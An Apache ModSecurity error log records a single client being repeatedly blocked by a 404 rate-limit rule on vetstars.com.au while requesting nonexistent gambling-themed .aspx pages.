[Tue Feb 10 08:59:35.297488 2026] [:error] [pid 59407:tid 59422] [client 146.59.46.29:48326] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "aYqC92LlhBXE3qmX-Jl54AAAAU0"]
[Tue Feb 10 08:59:35.887941 2026] [:error] [pid 30054:tid 30067] [client 146.59.46.29:48330] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "aYqC92ecgOOXCu-GgYWVBAAAAQs"]
[Tue Feb 10 08:59:36.578371 2026] [:error] [pid 30054:tid 30060] [client 146.59.46.29:48336] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "aYqC-GecgOOXCu-GgYWVBgAAAQQ"]
[Tue Feb 10 08:59:36.976770 2026] [:error] [pid 47831:tid 47876] [client 146.59.46.29:48346] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aYqC-CdxbZYarWVkiACdzQAAAEM"]
[Tue Feb 10 08:59:38.264130 2026] [:error] [pid 30054:tid 30074] [client 146.59.46.29:37832] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aYqC-mecgOOXCu-GgYWVDAAAARI"]
[Tue Feb 10 08:59:38.344879 2026] [:error] [pid 59544:tid 59576] [client 146.59.46.29:37846] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aYqC-qZySR9mFY4BailEQgAAAZg"]
[Tue Feb 10 08:59:39.241858 2026] [:error] [pid 59407:tid 59429] [client 146.59.46.29:37858] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "aYqC-2LlhBXE3qmX-Jl55QAAAVQ"]
[Tue Feb 10 08:59:39.465057 2026] [:error] [pid 59544:tid 59574] [client 146.59.46.29:37860] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aYqC-6ZySR9mFY4BailERAAAAZY"]
[Tue Feb 10 08:59:40.993958 2026] [:error] [pid 59407:tid 59433] [client 146.59.46.29:37866] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aYqC_GLlhBXE3qmX-Jl56QAAAVg"]
[Tue Feb 10 08:59:41.081996 2026] [:error] [pid 30054:tid 30064] [client 146.59.46.29:37876] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aYqC_WecgOOXCu-GgYWVFAAAAQg"]
[Tue Feb 10 08:59:41.836372 2026] [:error] [pid 59407:tid 59424] [client 146.59.46.29:37886] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aYqC_WLlhBXE3qmX-Jl56gAAAU8"]
[Tue Feb 10 08:59:42.270833 2026] [:error] [pid 47937:tid 47946] [client 146.59.46.29:37898] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "aYqC_spqXpC2CvJ3fOPkJwAAAMc"]
[Tue Feb 10 08:59:43.863024 2026] [:error] [pid 59544:tid 59552] [client 146.59.46.29:37912] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aYqC_6ZySR9mFY4BailETQAAAYQ"]
[Tue Feb 10 08:59:43.869437 2026] [:error] [pid 47830:tid 47855] [client 146.59.46.29:37926] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "aYqC_0co45BZs8e301CFzQAAAAk"]
[Tue Feb 10 08:59:44.281775 2026] [:error] [pid 59544:tid 59558] [client 146.59.46.29:37928] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aYqDAKZySR9mFY4BailETgAAAYo"]
[Tue Feb 10 08:59:44.841800 2026] [:error] [pid 30054:tid 30069] [client 146.59.46.29:37934] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aYqDAGecgOOXCu-GgYWVGwAAAQ0"]
[Tue Feb 10 08:59:46.708528 2026] [:error] [pid 47830:tid 47856] [client 146.59.46.29:37938] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aYqDAkco45BZs8e301CF0AAAAAo"]
[Tue Feb 10 08:59:46.988698 2026] [:error] [pid 59407:tid 59411] [client 146.59.46.29:37940] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "aYqDAmLlhBXE3qmX-Jl57QAAAUI"]
[Tue Feb 10 08:59:47.113175 2026] [:error] [pid 59407:tid 59429] [client 146.59.46.29:37944] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aYqDA2LlhBXE3qmX-Jl57gAAAVQ"]
[Tue Feb 10 08:59:47.295888 2026] [:error] [pid 30054:tid 30075] [client 146.59.46.29:37960] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aYqDA2ecgOOXCu-GgYWVHwAAARM"]
[Tue Feb 10 08:59:49.539357 2026] [:error] [pid 30054:tid 30069] [client 146.59.46.29:60932] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aYqDBWecgOOXCu-GgYWVIwAAAQ0"]
[Tue Feb 10 08:59:49.736073 2026] [:error] [pid 59407:tid 59427] [client 146.59.46.29:60948] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aYqDBWLlhBXE3qmX-Jl58AAAAVI"]
[Tue Feb 10 08:59:49.795528 2026] [:error] [pid 47831:tid 47877] [client 146.59.46.29:60958] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aYqDBSdxbZYarWVkiACd5gAAAEQ"]
[Tue Feb 10 08:59:49.818168 2026] [:error] [pid 47830:tid 47860] [client 146.59.46.29:60934] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aYqDBUco45BZs8e301CF0gAAAA4"]
[Tue Feb 10 08:59:50.977330 2026] [:error] [pid 47830:tid 47850] [client 146.59.46.29:60966] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "aYqDBkco45BZs8e301CF1QAAAAQ"]
[Tue Feb 10 08:59:52.068303 2026] [:error] [pid 47830:tid 47852] [client 146.59.46.29:60978] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aYqDCEco45BZs8e301CF2AAAAAY"]
[Tue Feb 10 08:59:52.274585 2026] [:error] [pid 30054:tid 30061] [client 146.59.46.29:60980] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aYqDCGecgOOXCu-GgYWVKQAAAQU"]
[Tue Feb 10 08:59:52.287932 2026] [:error] [pid 47830:tid 47858] [client 146.59.46.29:60992] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aYqDCEco45BZs8e301CF2QAAAAw"]
[Tue Feb 10 08:59:52.375334 2026] [:error] [pid 59407:tid 59433] [client 146.59.46.29:60994] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aYqDCGLlhBXE3qmX-Jl58wAAAVg"]
[Tue Feb 10 08:59:54.583701 2026] [:error] [pid 59407:tid 59414] [client 146.59.46.29:32776] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aYqDCmLlhBXE3qmX-Jl59wAAAUU"]
[Tue Feb 10 08:59:54.817144 2026] [:error] [pid 47830:tid 47845] [client 146.59.46.29:32790] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aYqDCkco45BZs8e301CF4gAAAAA"]
[Tue Feb 10 08:59:54.900519 2026] [:error] [pid 47837:tid 47913] [client 146.59.46.29:32802] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aYqDCnFY8KYFPX79Z4kwXwAAAI0"]
[Tue Feb 10 08:59:55.114382 2026] [:error] [pid 47830:tid 47870] [client 146.59.46.29:32812] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aYqDC0co45BZs8e301CF5AAAABg"]
[Tue Feb 10 08:59:55.731435 2026] [:error] [pid 47830:tid 47847] [client 146.59.46.29:32816] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "aYqDC0co45BZs8e301CF6AAAAAE"]
[Tue Feb 10 08:59:57.229793 2026] [:error] [pid 47831:tid 47896] [client 146.59.46.29:32832] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aYqDDSdxbZYarWVkiACd8QAAAFc"]
[Tue Feb 10 08:59:57.378163 2026] [:error] [pid 47837:tid 47903] [client 146.59.46.29:32842] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aYqDDXFY8KYFPX79Z4kwYgAAAIM"]
[Tue Feb 10 08:59:57.496914 2026] [:error] [pid 47831:tid 47877] [client 146.59.46.29:32850] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aYqDDSdxbZYarWVkiACd8wAAAEQ"]
[Tue Feb 10 08:59:57.681542 2026] [:error] [pid 30054:tid 30070] [client 146.59.46.29:32862] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aYqDDWecgOOXCu-GgYWVLwAAAQ4"]
[Tue Feb 10 08:59:59.918030 2026] [:error] [pid 47831:tid 47897] [client 146.59.46.29:40074] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aYqDDydxbZYarWVkiACd9wAAAFg"]
[Tue Feb 10 09:00:00.121013 2026] [:error] [pid 30054:tid 30065] [client 146.59.46.29:40098] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aYqDEGecgOOXCu-GgYWVNQAAAQk"]
[Tue Feb 10 09:00:00.206740 2026] [:error] [pid 47937:tid 47941] [client 146.59.46.29:40088] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aYqDEMpqXpC2CvJ3fOPkNQAAAMI"]
[Tue Feb 10 09:00:00.396877 2026] [:error] [pid 47937:tid 47950] [client 146.59.46.29:40114] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "aYqDEMpqXpC2CvJ3fOPkNgAAAMs"]
[Tue Feb 10 09:00:02.398496 2026] [:error] [pid 59544:tid 59572] [client 146.59.46.29:40122] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aYqDEqZySR9mFY4BailEYgAAAZU"]
[Tue Feb 10 09:00:02.718136 2026] [:error] [pid 59544:tid 59558] [client 146.59.46.29:40124] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aYqDEqZySR9mFY4BailEZAAAAYo"]
[Tue Feb 10 09:00:02.818922 2026] [:error] [pid 47837:tid 47919] [client 146.59.46.29:40132] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aYqDEnFY8KYFPX79Z4kwZQAAAJM"]
[Tue Feb 10 09:00:03.039829 2026] [:error] [pid 47837:tid 47901] [client 146.59.46.29:40134] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aYqDE3FY8KYFPX79Z4kwZwAAAIE"]
[Tue Feb 10 09:00:05.174128 2026] [:error] [pid 59544:tid 59574] [client 146.59.46.29:40136] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aYqDFaZySR9mFY4BailEagAAAZY"]
[Tue Feb 10 09:00:05.239203 2026] [:error] [pid 47831:tid 47894] [client 146.59.46.29:40140] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "aYqDFSdxbZYarWVkiACd-gAAAFU"]
[Tue Feb 10 09:00:05.524570 2026] [:error] [pid 59544:tid 59571] [client 146.59.46.29:40146] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aYqDFaZySR9mFY4BailEbAAAAZQ"]
[Tue Feb 10 09:00:05.725040 2026] [:error] [pid 47937:tid 47949] [client 146.59.46.29:40148] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aYqDFcpqXpC2CvJ3fOPkPQAAAMo"]
[Tue Feb 10 09:00:07.740208 2026] [:error] [pid 47837:tid 47911] [client 146.59.46.29:40160] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aYqDF3FY8KYFPX79Z4kwcQAAAIs"]
[Tue Feb 10 09:00:07.752836 2026] [:error] [pid 30054:tid 30074] [client 146.59.46.29:40166] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aYqDF2ecgOOXCu-GgYWVTAAAARI"]
[Tue Feb 10 09:00:08.178373 2026] [:error] [pid 47831:tid 47887] [client 146.59.46.29:35842] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "aYqDGCdxbZYarWVkiACd_wAAAE4"]
[Tue Feb 10 09:00:08.582169 2026] [:error] [pid 47937:tid 47939] [client 146.59.46.29:35856] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aYqDGMpqXpC2CvJ3fOPkQAAAAMA"]
[Tue Feb 10 09:00:10.345946 2026] [:error] [pid 30054:tid 30066] [client 146.59.46.29:35862] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "aYqDGmecgOOXCu-GgYWVUgAAAQo"]
